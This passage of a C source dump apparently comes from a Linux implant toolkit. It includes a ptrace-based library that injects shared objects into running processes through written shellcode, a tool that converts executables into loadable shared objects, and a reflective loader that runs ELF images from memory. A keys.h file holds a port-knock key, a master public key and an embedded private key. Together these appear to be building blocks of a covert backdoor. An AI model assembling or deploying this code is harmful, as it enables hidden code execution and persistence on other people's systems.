376 | if (injector->mmapped) { 377 | injector__call_syscall(injector, NULL, injector->sys_munmap, injector->data, remote_mem_size(injector)); 378 | } 379 | if (injector->attached) { 380 | injector__detach_process(injector); 381 | } 382 | free(injector); 383 | return 0; 384 | } 385 | 386 | const char *injector_error(void) 387 | { 388 | return injector__errmsg; 389 | } 390 | -------------------------------------------------------------------------------- /injector/src/linux/injector_internal.h: -------------------------------------------------------------------------------- 1 | /* -*- indent-tabs-mode: nil -*- 2 | * 3 | * injector - Library for injecting a shared library into a Linux process 4 | * 5 | * URL: https://github.com/kubo/injector 6 | * 7 | * ------------------------------------------------------ 8 | * 9 | * Copyright (C) 2018-2023 Kubo Takehiro 10 | * 11 | * This library is free software; you can redistribute it and/or 12 | * modify it under the terms of the GNU Lesser General Public 13 | * License as published by the Free Software Foundation; either 14 | * version 2.1 of the License, or (at your option) any later version. 15 | * 16 | * This library is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 19 | * Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public 22 | * License along with this library; if not, write to the Free Software 23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 24 | */ 25 | #ifndef INJECTOR_INTERNAL_H 26 | #define INJECTOR_INTERNAL_H 1 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include "injector.h" 35 | 36 | #ifdef __LP64__ 37 | #define SIZE_T_FMT "l" 38 | #else 39 | #define SIZE_T_FMT "" 40 | #endif 41 | 42 | #ifdef __arm__ 43 | #define user_regs_struct user_regs 44 | #endif 45 | 46 | #ifdef __mips__ 47 | #include 48 | #define user_regs_struct pt_regs 49 | #endif 50 | 51 | #ifdef __powerpc__ 52 | #include 53 | #define user_regs_struct pt_regs 54 | #endif 55 | 56 | #ifdef __riscv 57 | #include 58 | #endif 59 | 60 | #define PTRACE_OR_RETURN(request, injector, addr, data) do { \ 61 | int rv = injector__ptrace(request, injector->pid, addr, data, #request); \ 62 | if (rv != 0) { \ 63 | return rv; \ 64 | } \ 65 | } while (0) 66 | 67 | typedef enum { 68 | /* use dlopen/dlsym/dlclose (glibc 2.34 or later) */ 69 | DLFUNC_POSIX, 70 | /* use __libc_dlopen_mode/__libc_dlsym/__libc_dlclose" (glibc 2.33 or earlier) */ 71 | DLFUNC_INTERNAL, 72 | } dlfunc_type_t; 73 | 74 | typedef enum { 75 | LIBC_TYPE_UNKNOWN = 0, 76 | LIBC_TYPE_GNU, 77 | LIBC_TYPE_MUSL, 78 | } libc_type_t; 79 | 80 | typedef enum { 81 | ARCH_X86_64, 82 | ARCH_X86_64_X32, 83 | ARCH_I386, 84 | ARCH_ARM64, 85 | ARCH_ARM_EABI_THUMB, 86 | ARCH_ARM_EABI, 87 | ARCH_MIPS_64, 88 | ARCH_MIPS_N32, 89 | ARCH_MIPS_O32, 90 | ARCH_POWERPC_64, 91 | ARCH_POWERPC, 92 | ARCH_RISCV_64, 93 | ARCH_RISCV_32, 94 | } arch_t; 95 | 96 | typedef union { 97 | #if defined(__x86_64__) || defined(__i386__) 98 | uint8_t u8[sizeof(long)]; 99 | #elif defined(__aarch64__) || defined(__arm__) 100 | uint16_t u16[4]; 101 | uint32_t u32[2]; 102 | #elif defined(__mips__) 103 | uint32_t u32[4]; 104 | #elif defined(__powerpc__) 105 | uint32_t u32[2]; 106 | #elif defined(__riscv) 107 | uint32_t u32[2]; 108 | #endif 109 | long dummy; 110 | } code_t; 111 | 112 | struct injector { 113 | pid_t pid; 114 | uint8_t attached; 115 | uint8_t mmapped; 116 | arch_t arch; 117 | libc_type_t libc_type; 118 | struct user_regs_struct regs; 119 | dlfunc_type_t dlfunc_type; 120 | size_t dlopen_addr; 121 | size_t dlclose_addr; 122 | size_t dlsym_addr; 123 | size_t dlerror_addr; 124 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 125 | size_t clone_addr; 126 | #endif 127 | size_t code_addr; /* address where instructions are written */ 128 | code_t backup_code; 129 | long sys_mmap; 130 | long sys_mprotect; 131 | long sys_munmap; 132 | 133 | /* memory layout allocated in the target process 134 | * 135 | * high +----------------------+ 136 | * | stack area | 137 | * | size: 2MB | 138 | * |----------------------| 139 | * | inaccessible area | 140 | * | size: 4096 | 141 | * |----------------------| 142 | * | data area | 143 | * | size: 4096 | 144 | * low +----------------------+ 145 | */ 146 | size_t data; /* read-write region */ 147 | size_t data_size; /* page size */ 148 | size_t stack; /* stack area */ 149 | size_t stack_size; /* 2MB */ 150 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 151 | size_t shellcode; 152 | #endif 153 | }; 154 | 155 | /* elf.c */ 156 | int injector__collect_libc_information(injector_t *injector); 157 | 158 | /* ptrace.c */ 159 | int injector__ptrace(int request, pid_t pid, long addr, long data, const char *request_name); 160 | int injector__attach_process(const injector_t *injector); 161 | int injector__detach_process(const injector_t *injector); 162 | int injector__get_regs(const injector_t *injector, struct user_regs_struct *regs); 163 | int injector__set_regs(const injector_t *injector, const struct user_regs_struct *regs); 164 | int injector__read(const injector_t *injector, size_t addr, void *buf, size_t len); 165 | int injector__write(const injector_t *injector, size_t addr, const void *buf, size_t len); 166 | int injector__continue(const injector_t *injector); 167 | 168 | /* remote_call.c - call functions and syscalls in the target process */ 169 | int injector__call_syscall(const injector_t *injector, intptr_t *retval, long syscall_number, ...); 170 | int injector__call_function(const injector_t *injector, intptr_t *retval, long function_addr, ...); 171 | int injector__call_function_va_list(const injector_t *injector, intptr_t *retval, long function_addr, va_list ap); 172 | 173 | /* util.c */ 174 | extern char injector__errmsg[]; 175 | extern char injector__errmsg_is_set; 176 | void injector__set_errmsg(const char *format, ...) __attribute__((format (printf, 1, 2))); 177 | const char *injector__arch2name(arch_t arch); 178 | 179 | /* shellcode.S */ 180 | #ifdef INJECTOR_HAS_INJECT_IN_CLONED_THREAD 181 | typedef struct { 182 | void *handle; 183 | size_t dlopen_addr; 184 | size_t dlerror_addr; 185 | int dlflags; 186 | char file_path[0]; // dummy size. 187 | } injector_shellcode_arg_t; 188 | 189 | void *injector_shellcode(injector_shellcode_arg_t *arg); 190 | extern int injector_shellcode_size; 191 | #endif 192 | 193 | #endif 194 | -------------------------------------------------------------------------------- /injector/src/linux/ptrace.c: -------------------------------------------------------------------------------- 1 | /* -*- indent-tabs-mode: nil -*- 2 | * 3 | * injector - Library for injecting a shared library into a Linux process 4 | * 5 | * URL: https://github.com/kubo/injector 6 | * 7 | * ------------------------------------------------------ 8 | * 9 | * Copyright (C) 2018 Kubo Takehiro 10 | * 11 | * This library is free software; you can redistribute it and/or 12 | * modify it under the terms of the GNU Lesser General Public 13 | * License as published by the Free Software Foundation; either 14 | * version 2.1 of the License, or (at your option) any later version. 15 | * 16 | * This library is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 19 | * Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public 22 | * License along with this library; if not, write to the Free Software 23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 24 | */ 25 | #include "injector_internal.h" 26 | 27 | #if defined(__aarch64__) || defined(__riscv) 28 | #define USE_REGSET 29 | #include /* for NT_PRSTATUS */ 30 | #include /* for struct iovec */ 31 | #endif 32 | 33 | static int set_ptrace_error(const char *request_name) 34 | { 35 | int err = errno; 36 | injector__set_errmsg("%s error : %s", request_name, strerror(errno)); 37 | switch (err) { 38 | case EFAULT: 39 | return INJERR_INVALID_MEMORY_AREA; 40 | case EPERM: 41 | return INJERR_PERMISSION; 42 | case ESRCH: 43 | return INJERR_NO_PROCESS; 44 | } 45 | return INJERR_OTHER; 46 | } 47 | 48 | int injector__ptrace(int request, pid_t pid, long addr, long data, const char *request_name) 49 | { 50 | if (ptrace(request, pid, addr, data) != 0) { 51 | return set_ptrace_error(request_name); 52 | } 53 | return 0; 54 | } 55 | 56 | int injector__attach_process(const injector_t *injector) 57 | { 58 | PTRACE_OR_RETURN(PTRACE_ATTACH, injector, 0, 0); 59 | return 0; 60 | } 61 | 62 | int injector__detach_process(const injector_t *injector) 63 | { 64 | PTRACE_OR_RETURN(PTRACE_DETACH, injector, 0, 0); 65 | return 0; 66 | } 67 | 68 | int injector__get_regs(const injector_t *injector, struct user_regs_struct *regs) 69 | { 70 | #ifdef USE_REGSET 71 | struct iovec iovec = { regs, sizeof(*regs) }; 72 | PTRACE_OR_RETURN(PTRACE_GETREGSET, injector, NT_PRSTATUS, (long)&iovec); 73 | #else 74 | PTRACE_OR_RETURN(PTRACE_GETREGS, injector, 0, (long)regs); 75 | #endif 76 | return 0; 77 | } 78 | 79 | int injector__set_regs(const injector_t *injector, const struct user_regs_struct *regs) 80 | { 81 | #ifdef USE_REGSET 82 | struct iovec iovec = { (void*)regs, sizeof(*regs) }; 83 | PTRACE_OR_RETURN(PTRACE_SETREGSET, injector, NT_PRSTATUS, (long)&iovec); 84 | #else 85 | PTRACE_OR_RETURN(PTRACE_SETREGS, injector, 0, (long)regs); 86 | #endif 87 | return 0; 88 | } 89 | 90 | int injector__read(const injector_t *injector, size_t addr, void *buf, size_t len) 91 | { 92 | pid_t pid = injector->pid; 93 | long word; 94 | char *dest = (char *)buf; 95 | 96 | errno = 0; 97 | while (len >= sizeof(long)) { 98 | word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0); 99 | if (word == -1 && errno != 0) { 100 | return set_ptrace_error("PTRACE_PEEKTEXT"); 101 | } 102 | *(long*)dest = word; 103 | addr += sizeof(long); 104 | dest += sizeof(long); 105 | len -= sizeof(long); 106 | } 107 | if (len != 0) { 108 | char *src = (char *)&word; 109 | word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0); 110 | if (word == -1 && errno != 0) { 111 | return set_ptrace_error("PTRACE_PEEKTEXT"); 112 | } 113 | while (len--) { 114 | *(dest++) = *(src++); 115 | } 116 | } 117 | return 0; 118 | } 119 | 120 | int injector__write(const injector_t *injector, size_t addr, const void *buf, size_t len) 121 | { 122 | pid_t pid = injector->pid; 123 | const char *src = (const char *)buf; 124 | 125 | while (len >= sizeof(long)) { 126 | PTRACE_OR_RETURN(PTRACE_POKETEXT, injector, addr, *(long*)src); 127 | addr += sizeof(long); 128 | src += sizeof(long); 129 | len -= sizeof(long); 130 | } 131 | if (len != 0) { 132 | long word = ptrace(PTRACE_PEEKTEXT, pid, addr, 0); 133 | char *dest = (char*)&word; 134 | if (word == -1 && errno != 0) { 135 | return set_ptrace_error("PTRACE_PEEKTEXT"); 136 | } 137 | while (len--) { 138 | *(dest++) = *(src++); 139 | } 140 | PTRACE_OR_RETURN(PTRACE_POKETEXT, injector, addr, word); 141 | } 142 | return 0; 143 | } 144 | 145 | int injector__continue(const injector_t *injector) 146 | { 147 | PTRACE_OR_RETURN(PTRACE_CONT, injector, 0, 0); 148 | return 0; 149 | } 150 | -------------------------------------------------------------------------------- /injector/src/linux/shellcode.S: -------------------------------------------------------------------------------- 1 | #if defined(__x86_64__) 2 | #define handle_offset 0 3 | #define dlopen_addr_offset 8 4 | #define dlerror_addr_offset 16 5 | #define dlflags_offset 24 6 | #define file_path_offset 28 7 | #define page_size 4096 8 | .text 9 | .global injector_shellcode 10 | .hidden injector_shellcode 11 | .type injector_shellcode, @function 12 | // void *injector_shellcode(injector_shellcode_arg_t *arg) { 13 | injector_shellcode: 14 | // // prolog 15 | pushq %rbx 16 | movq %rdi, %rbx 17 | // int dlflags = arg->dlflags; 18 | movl dlflags_offset(%rbx), %esi 19 | // const char *file_path = arg->file_path; 20 | leaq file_path_offset(%rbx), %rdi 21 | // void *handle = dlopen(file_path, dlflags); 22 | call *dlopen_addr_offset(%rbx) 23 | // arg->handle = handle; 24 | movq %rax, handle_offset(%rbx) 25 | // arg->file_path[0] = '\0'; 26 | movb $0, file_path_offset(%rbx) 27 | // if (handle != NULL) return; 28 | test %rax, %rax 29 | jnz .exit 30 | // if (arg->dlerror_addr == 0) return; 31 | cmpq $0, dlerror_addr_offset(%rbx) 32 | je .exit 33 | // char *errmsg = dlerror(); 34 | call *dlerror_addr_offset(%rbx) 35 | // if (errmsg == NULL) return; 36 | test %rax, %rax 37 | jz .exit 38 | // char *dest = arg->file_path 39 | leaq file_path_offset(%rbx), %rdi 40 | // char *end = (char*)arg + page_size; 41 | leaq page_size(%rbx), %rcx 42 | .loop: 43 | // char c = *(errmsg++); 44 | movb (%rax), %dl 45 | addq $1, %rax 46 | // *(dest++) = c; 47 | movb %dl, (%rdi) 48 | addq $1, %rdi 49 | // if (c == 0) return; 50 | testb %dl, %dl 51 | jz .exit 52 | // if (dest < end) goto loop; 53 | cmpq %rdi, %rcx 54 | ja .loop 55 | .exit: 56 | // // epilog 57 | popq %rbx 58 | ret 59 | // } 60 | .size injector_shellcode, . - injector_shellcode 61 | 62 | .balign 4 63 | .global injector_shellcode_size 64 | .hidden injector_shellcode_size 65 | .type injector_shellcode_size, @object 66 | .size injector_shellcode_size, 4 67 | injector_shellcode_size: 68 | // distance from injector_shellcode to current. 69 | .int . - injector_shellcode 70 | #endif 71 | -------------------------------------------------------------------------------- /injector/src/linux/util.c: -------------------------------------------------------------------------------- 1 | /* -*- indent-tabs-mode: nil -*- 2 | * 3 | * injector - Library for injecting a shared library into a Linux process 4 | * 5 | * URL: https://github.com/kubo/injector 6 | * 7 | * ------------------------------------------------------ 8 | * 9 | * Copyright (C) 2018 Kubo Takehiro 10 | * 11 | * This library is free software; you can redistribute it and/or 12 | * modify it under the terms of the GNU Lesser General Public 13 | * License as published by the Free Software Foundation; either 14 | * version 2.1 of the License, or (at your option) any later version. 15 | * 16 | * This library is distributed in the hope that it will be useful, 17 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 19 | * Lesser General Public License for more details. 20 | * 21 | * You should have received a copy of the GNU Lesser General Public 22 | * License along with this library; if not, write to the Free Software 23 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 24 | */ 25 | #include 26 | #include 27 | #include "injector_internal.h" 28 | 29 | char injector__errmsg[512]; 30 | char injector__errmsg_is_set; 31 | 32 | void injector__set_errmsg(const char *format, ...) 33 | { 34 | va_list ap; 35 | int rv; 36 | 37 | /* prevent the error message from being overwritten. */ 38 | if (injector__errmsg_is_set) { 39 | return; 40 | } 41 | injector__errmsg_is_set = 1; 42 | 43 | va_start(ap, format); 44 | rv = vsnprintf(injector__errmsg, sizeof(injector__errmsg), format, ap); 45 | va_end(ap); 46 | if (rv == -1 || rv >= sizeof(injector__errmsg)) { 47 | injector__errmsg[sizeof(injector__errmsg) - 1] = '\0'; 48 | } 49 | } 50 | 51 | const char *injector__arch2name(arch_t arch) 52 | { 53 | switch (arch) { 54 | case ARCH_X86_64: 55 | return "x86_64"; 56 | case ARCH_X86_64_X32: 57 | return "x86_64 x32-ABI"; 58 | case ARCH_I386: 59 | return "i386"; 60 | case ARCH_ARM64: 61 | return "ARM64"; 62 | case ARCH_ARM_EABI_THUMB: 63 | return "ARM EABI thumb"; 64 | case ARCH_ARM_EABI: 65 | return "ARM EABI"; 66 | case ARCH_MIPS_64: 67 | return "MIPS 64"; 68 | case ARCH_MIPS_N32: 69 | return "MIPS N32 ABI"; 70 | case ARCH_MIPS_O32: 71 | return "MIPS O32 ABI"; 72 | case ARCH_POWERPC_64: 73 | return "PowerPC 64-bit"; 74 | case ARCH_POWERPC: 75 | return "PowerPC"; 76 | case ARCH_RISCV_64: 77 | return "RISC-V 64"; 78 | case ARCH_RISCV_32: 79 | return "RISC-V 32"; 80 | } 81 | return "?"; 82 | } 83 | -------------------------------------------------------------------------------- /keys.h: -------------------------------------------------------------------------------- 1 | //sample keys for initial library generation generate new ones with ./dgu keygen 2 | #define IV { 0xdf,0xf0,0x02,0x0c,0xd7,0x89,0x88,0xe7,0x5e,0x6f,0x37,0xf6,0x75,0x7b,0x63,0x2e} 3 | #define KNOCK_KEY { 0x18,0xa5,0xec,0x70,0xfe,0x5e,0xb0,0x15,0x0e,0xb2,0x3b,0x38,0x06,0x5c,0x07,0x0f,0xaf,0xe1,0x66,0x21,0xde,0x99,0x22,0x25,0xed,0x04,0x0c,0xc0,0x3f,0xe4,0xd2,0x17} 4 | #define MASTER_PUBKEY { 0xf3,0xd3,0x53,0x21,0xd2,0xdf,0x2b,0xaa,0x2a,0x3a,0xed,0x66,0xaf,0xbe,0x8b,0x82,0xee,0xa9,0xad,0xeb,0xa1,0x04,0xcf,0xde,0xb2,0x52,0x36,0xf1,0xbd,0x06,0xef,0x0b} 5 | 6 | // PRIVATE_KEY="f82876e92eaadc0702c16e7deca02ffe25116e84c8ba1e9ebb7423446dbae0534700b14ed3e531a3bc90f852b812df7d79e55190f60c9f2dc6fc0dc67aed0e92" 7 | 8 | -------------------------------------------------------------------------------- /p2s/pie2so.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #if defined(__x86_64__) 12 | 13 | #define Elf_Ehdr Elf64_Ehdr 14 | #define Elf_Phdr Elf64_Phdr 15 | #define Elf_Shdr Elf64_Shdr 16 | #define Elf_Dyn Elf64_Dyn 17 | 18 | #else 19 | 20 | #define Elf_Ehdr Elf32_Ehdr 21 | #define Elf_Phdr Elf32_Phdr 22 | #define Elf_Shdr Elf32_Shdr 23 | #define Elf_Dyn Elf32_Dyn 24 | 25 | #endif 26 | 27 | int patch_dtflags(void *map ){ 28 | 29 | int i,idx, off, ret=1; 30 | 31 | Elf_Ehdr *hdr; 32 | Elf_Phdr *phdr = NULL, *phdyn= NULL; 33 | Elf_Shdr *shdr= NULL, *strtab= NULL; 34 | Elf_Dyn *dyn=NULL; 35 | 36 | hdr = (Elf_Ehdr*) map; 37 | 38 | for (i = 0; i < hdr->e_phnum; i++){ 39 | phdr = ( Elf_Phdr *) (map + hdr->e_phoff + (hdr->e_phentsize * i)); 40 | if (phdr->p_type == PT_DYNAMIC) 41 | phdyn = phdr; 42 | 43 | } 44 | i = 0, idx = 0; 45 | do { 46 | dyn = (Elf_Dyn * ) (map + phdyn->p_offset + ( sizeof(Elf_Dyn) * i)); 47 | if (dyn->d_tag == DT_FLAGS_1) { 48 | dyn->d_tag = DT_DEBUG; 49 | dyn->d_un.d_val = 0; 50 | return 0; 51 | } 52 | i++; 53 | }while(dyn->d_tag != DT_NULL); 54 | return -1; 55 | } 56 | 57 | void gtfo(char *msg){ 58 | perror("unable to open bin"); 59 | _exit(0); 60 | } 61 | 62 | void usage(){ 63 | fprintf(stderr,"pie2so ./path/to/bin"); 64 | _exit(0); 65 | } 66 | 67 | int main (int argc,char **argv){ 68 | 69 | 70 | if (argc != 2) usage(); 71 | char *bin = argv[1]; 72 | 73 | int fd,res; 74 | void *maped; 75 | struct stat fd_info; 76 | 77 | res = stat(bin, &fd_info); 78 | if (res < 0 ) gtfo("nofile"); 79 | 80 | fd = open(bin, O_RDONLY ); 81 | if (fd < 0) gtfo("unable to open bin"); 82 | 83 | maped = mmap(NULL,fd_info.st_size, PROT_READ|PROT_WRITE,MAP_PRIVATE, fd, 0); 84 | if (maped == MAP_FAILED) gtfo("unable to mmap"); 85 | 86 | patch_dtflags(maped); 87 | 88 | char outfile[4096] = {0}; 89 | sprintf(outfile,"%s.so",bin); 90 | 91 | int fdout = open(outfile, O_CREAT|O_RDWR|O_APPEND,S_IRUSR|S_IWUSR); 92 | unsigned int size = fd_info.st_size; 93 | res = write(fdout, maped, size); 94 | if (res != size) gtfo("write error"); 95 | close(fdout); 96 | 97 | munmap(maped, fd_info.st_size); 98 | close(fd); 99 | chmod(outfile,0755); 100 | //printf("%s converted to dso %s\n",bin,outfile); 101 | return 0; 102 | } 103 | 104 | -------------------------------------------------------------------------------- /ulexec/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS += -Wall -fPIC -I. 2 | 3 | ULEXE=$(wildcard *.c) 4 | ULEXE_OBJS=$(ULEXE:.c=.o) 5 | 6 | all: ulexe.a 7 | 8 | ulexe.a: $(ULEXE_OBJS) 9 | @$(AR) rcs ulexe.a $(ULEXE_OBJS) 10 | 11 | %.o : %.c 12 | @echo CC $< 13 | @$(CC) $(CFLAGS) -c $< 14 | 15 | clean: 16 | @$(RM) *.o 17 | @$(RM) ulexe.a $(ULEXE_OBJS) 18 | 19 | -------------------------------------------------------------------------------- /ulexec/exec.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "reflect_common.h" 12 | 13 | extern char **environ; 14 | 15 | #define JUMP_WITH_STACK(jump_addr, jump_stack) \ 16 | __asm__ volatile ( \ 17 | "movq %[stack], %%rsp\n" /* reset the stack to our pivot */ \ 18 | "xor %%rdx, %%rdx\n" /* zero rdx so no one thinks it's a function pointer for cleanup */ \ 19 | "jmp *%[entry]" /* Up, up, and away! */ \ 20 | : /* None */ \ 21 | : [stack] "r" (jump_stack), [entry] "r" (jump_addr) \ 22 | : "rdx", "memory" \ 23 | ) 24 | 25 | int reflect_execv(const unsigned char *elf, char **argv,size_t binsize) { 26 | dprint("Using default environment %p\n", (void *)environ); 27 | return reflect_execve(elf, argv, NULL,binsize); 28 | } 29 | 30 | int reflect_execve(const unsigned char *elf, char **argv, char **env,size_t binsize) { 31 | // When allocating a new stack, be sure to give it lots of space since the OS 32 | // won't always honor MAP_GROWSDOWN 33 | size_t *new_stack = (void *) (2047 * PAGE_SIZE + (char *) mmap(0, 2048 * PAGE_SIZE, 34 | PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_GROWSDOWN, -1, 0)); 35 | 36 | return reflect_execves(elf, argv, env, new_stack, binsize); 37 | } 38 | 39 | int reflect_execves(const unsigned char *elf, char **argv, char **env, size_t *stack,size_t binsize) { 40 | int fd; 41 | unsigned char *data = NULL; 42 | size_t argc; 43 | 44 | struct mapped_elf exe = {0}, interp = {0}; 45 | 46 | if (!is_compatible_elf((ElfW(Ehdr) *)elf)) { 47 | return 1; 48 | } 49 | 50 | 51 | if (env == NULL) { 52 | env = environ; 53 | } 54 | 55 | map_elf(elf, &exe); 56 | if (exe.ehdr == MAP_FAILED) { 57 | dprint("Unable to map ELF file: %s\n", strerror(errno)); 58 | return 1; 59 | } 60 | 61 | if (exe.interp) { 62 | // Load input ELF executable into memory 63 | fd = open(exe.interp, O_RDONLY); 64 | if(fd == -1) { 65 | dprint("Failed to open %p: %s\n", exe.interp, strerror(errno)); 66 | return 1; 67 | } 68 | 69 | data = mmap(NULL, binsize, PROT_READ, MAP_PRIVATE, fd, 0); 70 | if(data == MAP_FAILED) { 71 | dprint("Unable to read ELF file in: %s\n", strerror(errno)); 72 | return 1; 73 | } 74 | close(fd); 75 | 76 | map_elf(data, &interp); 77 | munmap(data, binsize); 78 | if (interp.ehdr == MAP_FAILED) { 79 | dprint("Unable to map interpreter for ELF file: %s\n", strerror(errno)); 80 | return 1; 81 | } 82 | dprint("Mapped ELF interp file in: %s\n", exe.interp); 83 | } else { 84 | interp = exe; 85 | } 86 | 87 | for (argc = 0; argv[argc]; argc++); 88 | 89 | stack_setup(stack, argc, argv, env, NULL, 90 | exe.ehdr, interp.ehdr); 91 | 92 | JUMP_WITH_STACK(interp.entry_point, stack); 93 | return 0; 94 | } 95 | -------------------------------------------------------------------------------- /ulexec/map_elf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include "map_elf.h" 12 | 13 | // This takes a native-sized EHDR, but the parts we check are in the 14 | // constant-sized bit so it doesn't really matter 15 | // TODO: multilib and ehdr->e_machine checking 16 | bool is_compatible_elf(const ElfW(Ehdr) *ehdr) { 17 | return (ehdr->e_ident[EI_MAG0] == ELFMAG0 && 18 | ehdr->e_ident[EI_MAG1] == ELFMAG1 && 19 | ehdr->e_ident[EI_MAG2] == ELFMAG2 && 20 | ehdr->e_ident[EI_MAG3] == ELFMAG3 && 21 | ehdr->e_ident[EI_CLASS] == ELFCLASS_NATIVE && 22 | ehdr->e_ident[EI_DATA] == ELFDATA_NATIVE); 23 | } 24 | 25 | // Non-multilib compatible, makes a mmap(2) allocation and copy of the ELF object 26 | // 27 | // TODO: a version that reads the file from a stream? 28 | void map_elf(const unsigned char *data, struct mapped_elf *obj) 29 | { 30 | ElfW(Addr) dest = 0; 31 | ElfW(Ehdr) *ehdr; 32 | ElfW(Phdr) *phdr; 33 | 34 | unsigned char *mapping = MAP_FAILED; // target memory location 35 | const unsigned char *source = 0; 36 | size_t len, virtual_offset = 0, total_to_map = 0; 37 | int ii, prot; 38 | 39 | // Locate ELF program and section headers 40 | ehdr = (ElfW(Ehdr) *)data; 41 | phdr = (ElfW(Phdr) *)(data + ehdr->e_phoff); 42 | 43 | // Go through once to get the end so we reserve enough memory 44 | for(ii = 0; ii < ehdr->e_phnum; ii++, phdr++) { 45 | if(phdr->p_type == PT_LOAD) { 46 | total_to_map = ((phdr->p_vaddr + phdr->p_memsz) > total_to_map 47 | ? phdr->p_vaddr + phdr->p_memsz 48 | : total_to_map); 49 | dprint("total mapping is now %08zx based on %08zx seg at %p\n", total_to_map, phdr->p_memsz, (void *)phdr->p_vaddr); 50 | } 51 | } 52 | 53 | // Reset phdr 54 | phdr = (ElfW(Phdr) *)(data + ehdr->e_phoff); 55 | for(ii = 0; ii < ehdr->e_phnum; ii++, phdr++) { 56 | if(phdr->p_type == PT_LOAD) { 57 | if(mapping == MAP_FAILED) { 58 | // Setup area in memory to contain the new binary image 59 | if (phdr->p_vaddr != 0) { 60 | // The first loadable segment has an address, so we are not PIE and need to readjust our perspective 61 | total_to_map -= phdr->p_vaddr; 62 | } 63 | mapping = mmap((void *)PAGE_FLOOR(phdr->p_vaddr), PAGE_CEIL(total_to_map), PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); 64 | if(mapping == MAP_FAILED) { 65 | dprint("Failed to mmap(): %s\n", strerror(errno)); 66 | goto map_failed; 67 | } 68 | memset(mapping, 0, total_to_map); 69 | dprint("data @ %p, mapping @ %p\n", data, mapping); 70 | if(phdr->p_vaddr == 0) virtual_offset = (size_t) mapping; 71 | obj->ehdr = (ElfW(Ehdr) *) mapping; 72 | obj->entry_point = virtual_offset + ehdr->e_entry; 73 | } 74 | source = data + phdr->p_offset; 75 | dest = virtual_offset + phdr->p_vaddr; 76 | len = phdr->p_filesz; 77 | dprint("memcpy(%p, %p, %08zx)\n", (void *)dest, source, len); 78 | memcpy((void *)dest, source, len); 79 | 80 | prot = (((phdr->p_flags & PF_R) ? PROT_READ : 0) | 81 | ((phdr->p_flags & PF_W) ? PROT_WRITE: 0) | 82 | ((phdr->p_flags & PF_X) ? PROT_EXEC : 0)); 83 | if(mprotect((void *)PAGE_FLOOR(dest), PAGE_CEIL(phdr->p_memsz), prot) != 0) { 84 | goto mprotect_failed; 85 | } 86 | } else if(phdr->p_type == PT_INTERP) { 87 | // Since PT_INTERP must come before any PT_LOAD segments, store the 88 | // offset for now and add the base mapping at the end 89 | obj->interp = (char *) phdr->p_offset; 90 | } 91 | 92 | } 93 | 94 | if(obj->interp) { 95 | obj->interp = (char *) mapping + (size_t) obj->interp; 96 | } 97 | 98 | return; 99 | 100 | mprotect_failed: 101 | munmap(mapping, total_to_map); 102 | 103 | map_failed: 104 | obj->ehdr = MAP_FAILED; 105 | } 106 | 107 | 108 | -------------------------------------------------------------------------------- /ulexec/map_elf.h: -------------------------------------------------------------------------------- 1 | #ifndef MAP_ELF_H 2 | #define MAP_ELF_H 3 | 4 | #include 5 | #include 6 | 7 | #include "reflect_common.h" 8 | 9 | #define PAGE_FLOOR(addr) ((addr) & (-PAGE_SIZE)) 10 | #define PAGE_CEIL(addr) (PAGE_FLOOR((addr) + PAGE_SIZE - 1)) 11 | 12 | 13 | /* ELF compatibility checks */ 14 | #if UINTPTR_MAX > 0xffffffff 15 | #define ELFCLASS_NATIVE ELFCLASS64 16 | #else 17 | #define ELFCLASS_NATIVE ELFCLASS32 18 | #endif 19 | 20 | #include 21 | #define ELFDATA_NATIVE ((htonl(1) == 1) ? ELFDATA2MSB : ELFDATA2LSB) 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /ulexec/reflect.h: -------------------------------------------------------------------------------- 1 | #ifndef REFLECT_H 2 | #define REFLECT_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * Config 10 | */ 11 | #ifndef REFLECT_HAVE_ASM 12 | /* Determined at configure time. If assembly was not detected, you can add 13 | * support by porting the JUMP_WITH_STACK macro to arch/@HOST_OS@/@HOST_CPU@/arch_jump.h */ 14 | #define REFLECT_HAVE_ASM 1 15 | #endif 16 | 17 | /* 18 | * High-level interface 19 | */ 20 | 21 | #if !REFLECT_HAVE_ASM 22 | /* Alias the backup implementation if we don't have the assembly to set the stack */ 23 | #define reflect_execv reflect_mfd_execv 24 | #define reflect_execve reflect_mfd_execve 25 | #else 26 | /* No equivalent for using a custom stack without using custom assembly */ 27 | int reflect_execves(const unsigned char *elf, char **argv, char **env, size_t *stack,size_t binsize); 28 | #endif 29 | 30 | int reflect_execv(const unsigned char *elf, char **argv,size_t binsize); 31 | int reflect_execve(const unsigned char *elf, char **argv, char **env,size_t binsize); 32 | 33 | /* 34 | * ELF mapping interface 35 | */ 36 | struct 